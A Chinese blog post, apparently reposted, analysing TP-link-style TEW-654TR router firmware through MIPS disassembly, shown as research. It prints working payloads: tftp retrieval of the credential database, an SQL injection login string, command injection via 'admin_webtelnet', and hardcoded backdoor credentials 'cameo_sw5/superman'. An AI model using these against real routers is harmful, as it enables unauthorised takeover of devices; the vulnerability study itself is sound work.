IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    TEW-654TR路由器漏洞分析和挖掘

    铁匠发表于 2017-02-21 02:35:30
    love 0

    0×00 前言

    拜读完devttys0前辈的”exploiting embedded systems”系列.分析了下相关固件

    路由器型号: TEW-654TR

    固件下载地址: http://download.trendnet.com/TEW-654TR/firmware/


    0×01 环境设置

    #!/bin/bash
    
    INPUT="$1"
    LEN=$(echo -n "$INPUT" | wc -c)
    PORT="1234"
    
    if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
    then
        echo -e "\nUsage: sudo $0 \n"
        exit 1
    fi
    
    cp $(which qemu-mipsel-static) ./qemu
    
    echo "$INPUT" | chroot . ./qemu -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REMOTE_ADDR="1.1.1.100" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null
    
    rm -f ./qemu

    这里因为是小端机mips架构,所以复制了qemu-mipsel-static,mips架构跟intel架构在漏洞挖掘思路上并没有什么不同,只是利用有区别,例如溢出时要判断是否是叶子函数等等.
    因为cgi脚本里有getenv的动作,所以用-E设置env,-g指定了gdb远程调试的端口. /usr/bin/my_cgi.cgi是在读配置文件的时候取得的,当然 这个也能从真实提交请求的时候看到.


    0×02 漏洞分析一:读取路由器admin账号密码

    真实的登录请求包:
    request=login&user_name=admin&user_pwd=password

    在静态分析的时候,可以直接查询相关关键字,定位到登录函数的位置.
    这里搜索request,定位到主函数内

    首先保存现场到栈上,然后call getenv(“REQUEST_METHOD”),获取不到的话,跳到loc_40914c处从栈上恢复s0-s7、fp、ra的值,然后跳转到ra重新调用getenv.
    返回true的话再进行判断是get亦或post方法

    获取length、type、remote_addr等值之后,向下跟踪发现有打开数据库的动作.

    .text:00409460                 blez    $s1, loc_409938
    .text:00409464                 lui     $s0, 2
    .text:00409468                 la      $t9, open_db
    .text:0040946C                 ori     $a0, $s0, 0xE5F0
    .text:00409470                 jalr    $t9 ; open_db
    .text:00409474                 addu    $a0, $s3, $a0
    .text:00409478                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:0040947C                 nop

    我们搜一下存在的db文件:

    root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# find ./ -name *.db
    ./mnt/wizard_rt.db
    ./mnt/user.db
    ./mnt/ap.db
    ./mnt/rt.db
    ./mnt/default_rt.db
    ./mnt/default_apc.db
    ./mnt/wizard_ap.db
    ./mnt/default_ap.db
    ./mnt/apc.db
    ./mnt/iface.db

    来看一下内容:

    root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# file ./mnt/user.db 
    ./mnt/user.db: SQLite 3.x database
    root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/user.db 
    SQLite version 3.11.0 2016-02-15 17:29:24
    Enter ".help" for usage hints.
    sqlite> .tables
    login_info
    sqlite> .schema login_info
    CREATE TABLE "login_info" ("login_ip" VARCHAR NOT NULL , "login_time" INTEGER NOT NULL , "login_level" CHAR NOT NULL );
    sqlite> select * from login_info;
    sqlite> select * from login_info;
    sqlite> open
       ...> ;
    Error: near "open": syntax error
    sqlite> ^Z
    [1]+  Stopped                 sqlite3 ./mnt/user.db
    root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/rt.db 
    SQLite version 3.11.0 2016-02-15 17:29:24
    Enter ".help" for usage hints.
    sqlite> .tables
    advanced_network      smtp_settings         wan_settings        
    daylight_saving       special_application   wan_static          
    db_version            static_routing        website_filter      
    dhcp_server           syslog                website_filter_mode 
    dmz                   time                  wireless_advanced   
    dynamic_dns           user                  wireless_basic      
    dynamic_routing       virtual_server        wireless_filter     
    ip_filter             wan_dhcp              wireless_filter_mode
    lan_settings          wan_l2tp              wireless_security   
    log_setting           wan_pppoe             wireless_wps        
    message               wan_pptp              wizard_setting      
    nat_filter            wan_russia_l2tp       wpa_settings        
    remote_management     wan_russia_pppoe    
    restore_default       wan_russia_pptp     
    sqlite> .schema user
    CREATE TABLE "user" ("user_name" VARCHAR DEFAULT '', "user_pwd" VARCHAR DEFAULT '', "level" CHAR DEFAULT '');
    sqlite> select * from user;
    admin|admin|1
    user|user|0

    那么如何才能获得查询这个表呢?

    当然可以注入,不过还有更优雅的方式.

    黑盒测试时,扫描AP的所有端口,能发现开了69,探测指纹得知是tftp.

    白盒读启动配置文件,能直接看到.

    root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root/etc/rc.d# cat rcS 
    #!/bin/ash
    
    # This script runs when init it run during the boot process.
    # Mounts everything in the fstab
    mount -a
    mount -o remount +w /
    
    # Mount the RAM filesystem to /tmp
    mount -t tmpfs tmpfs /tmp
    
    # copy all files in the mnt folder to the etc folder
    cp -a /mnt/* /etc
    mkdir -p /var/etc
    mkdir -p /var/firm
    mkdir -p /var/log
    mkdir -p /var/misc
    mkdir -p /var/run
    mkdir -p /var/sbin
    mkdir -p /var/tmp
    mkdir -p /tmp/var
    cp -f /etc/udhcpd.conf /var/etc/
    cp -f /etc/udhcpd.leases /var/misc/
    #Add link for resolv.conf
    #ln -sf /var/etc/resolv.conf /etc/resolv.conf
    # Load configure file from Flash
    /bin/echo "Init System..."
    system_manager &
    # Start tftpd
    /bin/echo "Start Tftpd..."
    tftpd &
    #insert cc_dev module for reset packet counter
    insmod /lib/modules/cc_dev.ko

    那么:

    root@ubuntu:~# tftp 192.168.114.131
    tftp> get /mnt/rt.db
    Received 54272 bytes in 0.0 seconds
    tftp> ^C
    tftp> ll
    ?Invalid command
    tftp> ^Z
    [2]+  Stopped                 tftp 192.168.114.131
    root@ubuntu:~# 
    root@ubuntu:~# ll | grep rt.db
    -rw-r--r--  1 root root    54220 Oct 20 00:14 rt.db


    0×03 漏洞分析二:sql injection

    接着看那段open_db的代码:

    .text:00409460                 blez    $s1, loc_409938
    .text:00409464                 lui     $s0, 2
    .text:00409468                 la      $t9, open_db
    .text:0040946C                 ori     $a0, $s0, 0xE5F0
    .text:00409470                 jalr    $t9 ; open_db
    .text:00409474                 addu    $a0, $s3, $a0
    .text:00409478                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:0040947C                 nop
    .text:00409480                 la      $v1, my_db
    .text:00409484                 beqz    $v0, loc_40914C 
    
    返回失败句柄的时候,跟上面一样.恢复现场
    .text:0040914C loc_40914C:                              # CODE XREF: main+94j
    .text:0040914C                                          # main+3F4j ...
    .text:0040914C                 lui     $t0, 2
    .text:00409150
    .text:00409150 loc_409150:                              # CODE XREF: main+240j
    .text:00409150                                          # main+324j ...
    .text:00409150                 ori     $t0, 0x6710
    .text:00409460                 blez    $s1, loc_409938
    .text:00409464                 lui     $s0, 2
    .text:00409468                 la      $t9, open_db
    .text:0040946C                 ori     $a0, $s0, 0xE5F0
    .text:00409470                 jalr    $t9 ; open_db
    .text:00409474                 addu    $a0, $s3, $a0
    .text:00409478                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:0040947C                 nop
    .text:00409480                 la      $v1, my_db
    .text:00409484                 beqz    $v0, loc_40914C  # open fail, restore s0-s7,fp,ra

    返回成功句柄会调用check_remote_ip函数,这函数就是字面意思,没什么特殊的检测动作:

    .text:004094BC                 move    $a0, $s5
    .text:004094C0                 la      $t9, check_remote_ip
    .text:004094C4                 nop
    .text:004094C8                 jalr    $t9 ; check_remote_ip
    .text:004094CC                 move    $s2, $v0
    .text:004094D0                 li      $a0, 0x2E6BC     # it's likely exist vuln.
    .text:004094D0                                          # because verify(remote ip) entry login
    .text:004094D8                 addu    $a0, $sp
    .text:004094DC                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:004094E0                 blez    $s2, loc_409824

    返回值<=0的话就关闭open_db的句柄:

    .text:00409824 loc_409824:                              # CODE XREF: main+450j
    .text:00409824                                          # main+9D4j ...
    .text:00409824                 la      $v1, my_db
    .text:00409828                 la      $t9, close_db
    .text:0040982C                 lw      $a0, (my_db - 0x45A6D4)($v1)
    .text:00409830                 jalr    $t9 ; close_db
    .text:00409834                 nop
    .text:00409838                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:0040983C                 bnez    $s7, loc_409A20
    .text:00409840                 nop

    之后还有write_db_flash的动作,remote_ip在认证流程中看起来很重要.感觉就像用的ip认证.而非cookie.
    这里我没有真实的路由器,验证起来有点麻烦,有这款路由器的读者可以测试一下.

    check_remote_ip之后,比较接受到的参数值,这里比较的是登录后的动作,验证不通过则跳到loc_40964C进行登录:

    .text:004094E4                 sw      $v0, 0($a0)
    .text:004094E8                 la      $s1, loc_410000
    .text:004094EC                 la      $t9, strcmp
    .text:004094F0                 addiu   $s0, $sp, 0x2E6F0+var_2E6B8
    .text:004094F4                 move    $a0, $s0
    .text:004094F8                 jalr    $t9 ; strcmp
    .text:004094FC                 addiu   $a1, $s1, (aLogin - 0x410000)  # "login"
    .text:00409500                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409504                 beqz    $v0, loc_40964C
    .text:00409508                 nop
    .text:0040950C                 la      $a1, loc_410000
    .text:00409510                 la      $t9, strcmp
    .text:00409514                 addiu   $a1, (aShow_message - 0x410000)  # "show_message"
    .text:00409518                 jalr    $t9 ; strcmp
    .text:0040951C                 move    $a0, $s0
    .text:00409520                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409524                 beqz    $v0, loc_40964C
    .text:00409528                 nop
    .text:0040952C                 la      $a1, loc_410000
    .text:00409530                 la      $t9, strcmp
    .text:00409534                 addiu   $a1, (aReboot - 0x410000)  # "reboot"
    .text:00409538                 jalr    $t9 ; strcmp
    .text:0040953C                 move    $a0, $s0
    .text:00409540                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409544                 beqz    $v0, loc_40964C
    .text:00409548                 nop
    .text:0040954C                 la      $a1, loc_410000
    .text:00409550                 la      $t9, strcmp
    .text:00409554                 addiu   $a1, (aLogout - 0x410000)  # "logout"
    .text:00409558                 jalr    $t9 ; strcmp
    .text:0040955C                 move    $a0, $s0
    .text:00409560                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409564                 beqz    $v0, loc_40964C
    .text:00409568                 nop
    .text:0040956C                 la      $a1, loc_410000
    .text:00409570                 la      $t9, strcmp
    .text:00409574                 addiu   $a1, (aFw_ver - 0x410000)  # "fw_ver"
    .text:00409578                 jalr    $t9 ; strcmp
    .text:0040957C                 move    $a0, $s0
    .text:00409580                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409584                 beqz    $v0, loc_40964C
    .text:00409588                 nop
    .text:0040958C                 la      $a1, loc_410000
    .text:00409590                 la      $t9, strcmp
    .text:00409594                 addiu   $a1, (aHw_ver - 0x410000)  # "hw_ver"
    .text:00409598                 jalr    $t9 ; strcmp
    .text:0040959C                 move    $a0, $s0
    .text:004095A0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:004095A4                 beqz    $v0, loc_40964C
    .text:004095A8                 nop
    .text:004095AC                 la      $a1, loc_410000
    .text:004095B0                 la      $t9, strcmp
    .text:004095B4                 addiu   $a1, (aCheck_station_ - 0x410000)  # "check_station_status"
    .text:004095B8                 jalr    $t9 ; strcmp
    .text:004095BC                 move    $a0, $s0
    .text:004095C0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:004095C4                 beqz    $v0, loc_40964C
    .text:004095C8                 nop
    .text:004095CC                 la      $a1, loc_410000
    .text:004095D0                 la      $t9, strcmp
    .text:004095D4                 addiu   $a1, (aGet_router_ip - 0x410000)  # "get_router_ip"
    .text:004095D8                 jalr    $t9 ; strcmp
    .text:004095DC                 move    $a0, $s0
    .text:004095E0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:004095E4                 beqz    $v0, loc_40964C
    .text:004095E8                 nop
    .text:004095EC                 la      $a1, loc_410000
    .text:004095F0                 la      $t9, strcmp
    .text:004095F4                 addiu   $a1, (aGet_device_nam - 0x410000)  # "get_device_name"
    .text:004095F8                 jalr    $t9 ; strcmp
    .text:004095FC                 move    $a0, $s0
    .text:00409600                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409604                 beqz    $v0, loc_40964C
    .text:00409608                 nop
    .text:0040960C                 la      $a1, loc_410000
    .text:00409610                 la      $t9, strcmp
    .text:00409614                 addiu   $a1, (aNoAuth - 0x410000)  # "no-auth"
    .text:00409618                 jalr    $t9 ; strcmp
    .text:0040961C                 move    $a0, $s0
    .text:00409620                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409624                 beqz    $v0, loc_40964C
    .text:00409628                 move    $a0, $s0
    .text:0040962C                 la      $a1, loc_410000
    .text:00409630                 la      $t9, strcmp
    .text:00409634                 nop
    .text:00409638                 jalr    $t9 ; strcmp
    .text:0040963C                 addiu   $a1, (aLanguage - 0x410000)  # "language"
    .text:00409640                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409644                 bnez    $v0, loc_40A0B0
    .text:00409648                 nop
    .text:0040964C
    .text:0040964C loc_40964C:                              # CODE XREF: main+474j
    .text:0040964C                                          # main+494j ...
    .text:0040964C                 la      $a1, loc_410000
    .text:00409650                 la      $t9, strcmp
    .text:00409654                 addiu   $a1, (aLoad_setting - 0x410000)  # "load_setting"
    .text:00409658                 jalr    $t9 ; strcmp
    .text:0040965C                 move    $a0, $s3
    .text:00409660                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409664                 beqz    $v0, loc_409A3C
    .text:00409668                 addiu   $a1, $s1, (aLogin - 0x410000)  # "login"
    .text:0040966C                 la      $t9, strcmp
    .text:00409670                 addiu   $s0, $s3, 0x20
    .text:00409674                 jalr    $t9 ; strcmp
    .text:00409678                 move    $a0, $s0
    .text:0040967C                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409680                 beqz    $v0, loc_409A6C

    在loc_40964c处下断点.

    s0指向”login”,作为参数传给strcmp,之后进入loc_409A6C,指向do_login函数,执行sql查询.

    .text:00409A6C loc_409A6C:                              # CODE XREF: main+5F0j
    .text:00409A6C la      $t9, do_login
    .text:00409A70 lw      $a3, 0x2E6F0+var_2E6F0($fp)
    .text:00409A74 move    $a1, $s2
    .text:00409A78 jalr    $t9 ; do_login
    .text:00409A7C move    $a2, $s5
    .text:00409A80 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409A84 b       loc_409824
    .text:00409A88 nop

    将用户名和密码复制到栈上,比较长度,重置一片空间,选择数据库,exec_sql,可以看到没有任何过滤动作,存在注入.
    此时我们user=admin pass=password,登录失败进行重定向.恢复栈帧.

    .text:0040B82C loc_40B82C:                              # CODE XREF: do_login+138j
    .text:0040B82C la      $v0, loc_410000
    .text:0040B830 nop
    .text:0040B834 addiu   $s0, $v0, (aLogin - 0x410000)    # "login"
    .text:0040B838
    .text:0040B838 loc_40B838:                              # CODE XREF: do_login+35Cj
    .text:0040B838                                          # do_login+384j
    .text:0040B838 la      $t9, unk_40A06B88
    .text:0040B83C nop
    .text:0040B840 jalr    $t9 ; free
    .text:0040B844 move    $a0, $s2
    .text:0040B848 lw      $gp, 0x78+var_68($sp)
    .text:0040B84C nop
    .text:0040B850 la      $t9, set_redirect_page
    .text:0040B854 nop
    .text:0040B858 jalr    $t9 ; set_redirect_page
    .text:0040B85C move    $a0, $s0
    .text:0040B860 lw      $gp, 0x78+var_68($sp)
    .text:0040B864 lw      $ra, 0x78+var_8($sp)
    .text:0040B868 lw      $s5, 0x78+var_C($sp)
    .text:0040B86C lw      $s4, 0x78+var_10($sp)
    .text:0040B870 lw      $s3, 0x78+var_14($sp)
    .text:0040B874 lw      $s2, 0x78+var_18($sp)
    .text:0040B878 lw      $s1, 0x78+var_1C($sp)
    .text:0040B87C lw      $s0, 0x78+var_20($sp)
    .text:0040B880 jr      $ra
    .text:0040B884 addiu   $sp, 0x78

    那么构造:
    request=login&user_name=admin&user_pwd='%20or%20'1'%3D'1"


    0×04 漏洞分析三: 任意命令执行

    继续向下看,beqz $v0, loc_409A6C beqz显然,执行完登录认证的动作后并不会跳回来.
    下方还有好几处字符串比较动作,admin_webtelnet尤其引人注意,我们来看一下send_telnet_cmd函数.

    .text:0040964C loc_40964C:                              # CODE XREF: main+474j
    .text:0040964C                                          # main+494j ...
    .text:0040964C                 la      $a1, loc_410000
    .text:00409650                 la      $t9, strcmp
    .text:00409654                 addiu   $a1, (aLoad_setting - 0x410000)  # "load_setting"
    .text:00409658                 jalr    $t9 ; strcmp
    .text:0040965C                 move    $a0, $s3
    .text:00409660                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409664                 beqz    $v0, loc_409A3C
    .text:00409668                 addiu   $a1, $s1, (aLogin - 0x410000)  # "login"
    .text:0040966C                 la      $t9, strcmp
    .text:00409670                 addiu   $s0, $s3, 0x20
    .text:00409674                 jalr    $t9 ; strcmp
    .text:00409678                 move    $a0, $s0
    .text:0040967C                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409680                 beqz    $v0, loc_409A6C
    .text:00409684                 move    $a0, $s3
    .text:00409688                 la      $a1, loc_410000
    .text:0040968C                 la      $t9, strcmp
    .text:00409690                 addiu   $a1, (aAdmin_login - 0x410000)  # "admin_login"
    .text:00409694                 jalr    $t9 ; strcmp 
    .text:00409698                 move    $a0, $s0
    .text:0040969C                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:004096A0                 nop
    .text:004096A4                 la      $t9, admin_login
    .text:004096A8                 beqz    $v0, loc_409AB0
    .text:004096AC                 move    $a0, $s3
    .text:004096B0                 la      $a1, loc_410000
    .text:004096B4                 la      $t9, strcmp
    .text:004096B8                 addiu   $a1, (aAdmin_webtelne - 0x410000)  # "admin_webtelnet"
    .text:004096BC                 jalr    $t9 ; strcmp
    .text:004096C0                 move    $a0, $s0
    .text:004096C4                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:004096C8                 nop
    .text:004096CC                 la      $t9, send_telnet_cmd
    .text:004096D0                 beqz    $v0, loc_409ACC
    .text:004096D4                 nop
    ======================================================================
    
    loc_409ACC:
    
    .text:00409ACC                 jalr    $t9
    .text:00409AD0                 move    $a0, $s3
    .text:00409AD4                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:00409AD8                 b       loc_409824
    .text:00409ADC                 nop
    ======================================================================
    
    .text:00415308                 .globl send_telnet_cmd
    .text:00415308 send_telnet_cmd:                         # DATA XREF: main+63Co
    .text:00415308                                          # .got:send_telnet_cmd_ptro
    .text:00415308
    .text:00415308 var_18          = -0x18
    .text:00415308 var_10          = -0x10
    .text:00415308 var_C           = -0xC
    .text:00415308 var_8           = -8
    .text:00415308
    .text:00415308                 li      $gp, 0x4CF78
    .text:00415310                 addu    $gp, $t9
    .text:00415314                 addiu   $sp, -0x28
    .text:00415318                 sw      $ra, 0x28+var_8($sp)
    .text:0041531C                 sw      $s1, 0x28+var_C($sp)
    .text:00415320                 sw      $s0, 0x28+var_10($sp)
    .text:00415324                 sw      $gp, 0x28+var_18($sp)
    .text:00415328                 la      $s0, send_cmd
    .text:0041532C                 la      $t9, memset
    .text:00415330                 move    $s1, $a0
    .text:00415334                 move    $a1, $zero
    .text:00415338                 move    $a0, $s0
    .text:0041533C                 jalr    $t9 ; memset
    .text:00415340                 li      $a2, 0x1F4
    .text:00415344                 lw      $gp, 0x28+var_18($sp)
    .text:00415348                 move    $a0, $s0
    .text:0041534C                 li      $a1, 0x420000
    .text:00415350                 la      $t9, sprintf
    .text:00415354                 addiu   $a2, $s1, 0x299
    .text:00415358                 jalr    $t9 ; sprintf
    .text:0041535C                 addiu   $a1, (aSTmpTmp_send_r - 0x420000)  # "%s &gt; /tmp/tmp_send_result"
    .text:00415360                 lw      $gp, 0x28+var_18($sp)
    .text:00415364                 nop
    .text:00415368                 la      $t9, system
    .text:0041536C                 nop
    .text:00415370                 jalr    $t9 ; system
    .text:00415374                 move    $a0, $s0
    .text:00415378                 lw      $gp, 0x28+var_18($sp)
    .text:0041537C                 lw      $ra, 0x28+var_8($sp)
    .text:00415380                 la      $a0, loc_410000
    .text:00415384                 la      $t9, set_redirect_page
    .text:00415388                 lw      $s1, 0x28+var_C($sp)
    .text:0041538C                 lw      $s0, 0x28+var_10($sp)
    .text:00415390                 addiu   $a0, (aAdmin_webtelne - 0x410000)  # "admin_webtelnet"
    .text:00415394                 jr      $t9 ; set_redirect_page
    .text:00415398                 addiu   $sp, 0x28
    .text:00415398  # End of function send_telnet_cmd

    sprintf拼接字符串交由system执行
    但是在当前request=admin_webtelnet的情况下,并不会进入到loc_40964C. 来看一下交叉引用:

    .text:0040A0B0 loc_40A0B0:                              # CODE XREF: main+5B4j
    .text:0040A0B0                 la      $t9, update_login_time
    .text:0040A0B4                 nop
    .text:0040A0B8                 jalr    $t9 ; update_login_time
    .text:0040A0BC                 move    $a0, $s5
    .text:0040A0C0                 lw      $gp, 0x2E6F0+var_2E6E0($sp)
    .text:0040A0C4                 bnez    $v0, loc_40964C
    .text:0040A0C8                 nop

    更新登录时间,返回true会跳到loc_40964C,明显这是认证成功后的动作,在真实的场景中,我们可以用sql注入或者tftp直接获取admin账号密码
    在qemu中动态调试的话,我直接将v0寄存器置为1,进入到loc_40964C.

    那么payload:

    “request=admin_webtelnet&user=whoami”


    0×05 漏洞挖掘一: privilege escalation

    看send_telnet_cmd函数的时候向上翻看到有个admin_login函数,根据/var/check是否存在检查admin是否登录.
    admin_login function:

    .text:00415220
    .text:00415220 li      $gp, 0x4D060
    .text:00415228 addu    $gp, $t9
    .text:0041522C addiu   $sp, -0x20
    .text:00415230 sw      $ra, 0x20+var_4($sp)
    .text:00415234 sw      $s0, 0x20+var_8($sp)
    .text:00415238 sw      $gp, 0x20+var_10($sp)
    .text:0041523C li      $a1, 0x420000
    .text:00415240 la      $t9, unk_40A07DA0
    .text:00415244 move    $s0, $a0
    .text:00415248 addiu   $a1, (aCameo_sw5 - 0x420000)     # "cameo_sw5"
    .text:0041524C jalr    $t9 ; strcmp
    .text:00415250 addiu   $a0, 0x299
    .text:00415254 lw      $gp, 0x20+var_10($sp)
    .text:00415258 addiu   $a0, $s0, 0x512
    .text:0041525C li      $a1, 0x420000
    .text:00415260 la      $t9, unk_40A07DA0
    .text:00415264 bnez    $v0, loc_41528C
    .text:00415268 addiu   $a1, (aSuperman - 0x420000)      # "superman"
    .text:0041526C jalr    $t9 ; strcmp
    .text:00415270 nop
    .text:00415274 lw      $gp, 0x20+var_10($sp)
    .text:00415278 nop
    .text:0041527C li      $a0, 0x420000
    .text:00415280 la      $t9, _system
    .text:00415284 beqz    $v0, loc_4152D4
    .text:00415288 addiu   $a0, (aEcho1VarCheck - 0x420000)  # "echo 1 &gt;/var/check"
    
    .text:004152D4  # ---------------------------------------------------------------------------
    .text:004152D4
    .text:004152D4 loc_4152D4:                              # CODE XREF: admin_login+64j
    .text:004152D4 jalr    $t9 ; system
    .text:004152D8 nop
    .text:004152DC lw      $gp, 0x20+var_10($sp)
    .text:004152E0 lw      $ra, 0x20+var_4($sp)
    .text:004152E4 la      $v0, loc_410000
    .text:004152E8 la      $a0, redirect_page
    .text:004152EC addiu   $v0, (aAdmin_webtelne - 0x410000)  # "admin_webtelnet"
    .text:004152F0 sw      $v0, (redirect_page - 0x45A6A8)($a0)
    .text:004152F4 lw      $a0, (redirect_page - 0x45A6A8)($a0)
    .text:004152F8 la      $t9, set_redirect_page
    .text:004152FC lw      $s0, 0x20+var_8($sp)
    .text:00415300 jr      $t9 ; set_redirect_page
    .text:00415304 addiu   $sp, 0x20
    .text:00415304  # End of function admin_login

    第一个参数无验证,所以普通用户权限登录后:

    request=admin_login&user_name=cameo_sw5&user_pwd=superman

    admin_logout function:

    .text:00415748 .globl admin_do_logout
    .text:00415748 admin_do_logout:                         # CODE XREF: main+1C7Cp
    .text:00415748                                          # DATA XREF: main:loc_40AD04o ...
    .text:00415748 li      $gp, 0x4CB38
    .text:00415750 addu    $gp, $t9
    .text:00415754 li      $a0, 0x420000
    .text:00415758 la      $t9, _unlink
    .text:0041575C nop
    .text:00415760 jr      $t9 ; unlink
    .text:00415764 addiu   $a0, (aCatVarCheck+4 - 0x420000)  # "/var/check"
    .text:00415764  # End of function admin_do_logout


    0×06 漏洞挖掘二: 任意命令执行

    漏洞发生在ping_test函数上,与send_telnet_cmd基本相同.

    .text:00415800 .globl ping_test
    .text:00415800 ping_test:                               # DATA XREF: main:loc_409AC4o
    .text:00415800                                          # .got:ping_test_ptro
    .text:00415800
    .text:00415800 var_170= -0x170
    .text:00415800 var_168= -0x168
    .text:00415800 var_118= -0x118
    .text:00415800 var_18= -0x18
    .text:00415800 var_14= -0x14
    .text:00415800 var_10= -0x10
    .text:00415800 var_C= -0xC
    .text:00415800 var_8= -8
    .text:00415800 var_4= -4
    .text:00415800
    .text:00415800 li      $gp, 0x4CA80
    .text:00415808 addu    $gp, $t9
    .text:0041580C addiu   $sp, -0x180
    .text:00415810 sw      $ra, 0x180+var_4($sp)
    .text:00415814 sw      $s4, 0x180+var_8($sp)
    .text:00415818 sw      $s3, 0x180+var_C($sp)
    .text:0041581C sw      $s2, 0x180+var_10($sp)
    .text:00415820 sw      $s1, 0x180+var_14($sp)
    .text:00415824 sw      $s0, 0x180+var_18($sp)
    .text:00415828 sw      $gp, 0x180+var_170($sp)
    .text:0041582C la      $t9, clear_msg
    .text:00415830 nop
    .text:00415834 jalr    $t9 ; clear_msg
    .text:00415838 move    $s1, $a0
    .text:0041583C lw      $gp, 0x180+var_170($sp)
    .text:00415840 addiu   $s0, $sp, 0x180+var_168
    .text:00415844 la      $t9, unk_40A07AB0
    .text:00415848 move    $a0, $s0
    .text:0041584C move    $a1, $zero
    .text:00415850 jalr    $t9 ; memset
    .text:00415854 li      $a2, 0x50  # 'P'
    .text:00415858 lw      $gp, 0x180+var_170($sp)
    .text:0041585C addiu   $s3, $s1, 0x299
    .text:00415860 li      $s2, 0x420000
    .text:00415864 li      $a1, 0x420000
    .text:00415868 la      $t9, unk_409F6050
    .text:0041586C addiu   $a1, (aPingC1SS - 0x420000)      # "ping -c 1 %s &gt; %s"
    .text:00415870 move    $a2, $s3
    .text:00415874 addiu   $a3, $s2, (aTmpPing_result - 0x420000)  # "/tmp/ping_result.log"
    .text:00415878 jalr    $t9 ; sprintf
    .text:0041587C move    $a0, $s0
    .text:00415880 lw      $gp, 0x180+var_170($sp)
    .text:00415884 move    $a0, $s0
    .text:00415888 la      $t9, _system
    .text:0041588C nop
    .text:00415890 jalr    $t9 ; system
    .text:00415894 move    $s1, $zero


    reference:
    《揭秘家用路由器0day漏洞挖掘技术》

    Exploiting Embedded Systems – Part 1

    http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-2/

    Exploiting Embedded Systems – Part 3

    Exploiting Embedded Systems – Part 4



沪ICP备19023445号-2号
友情链接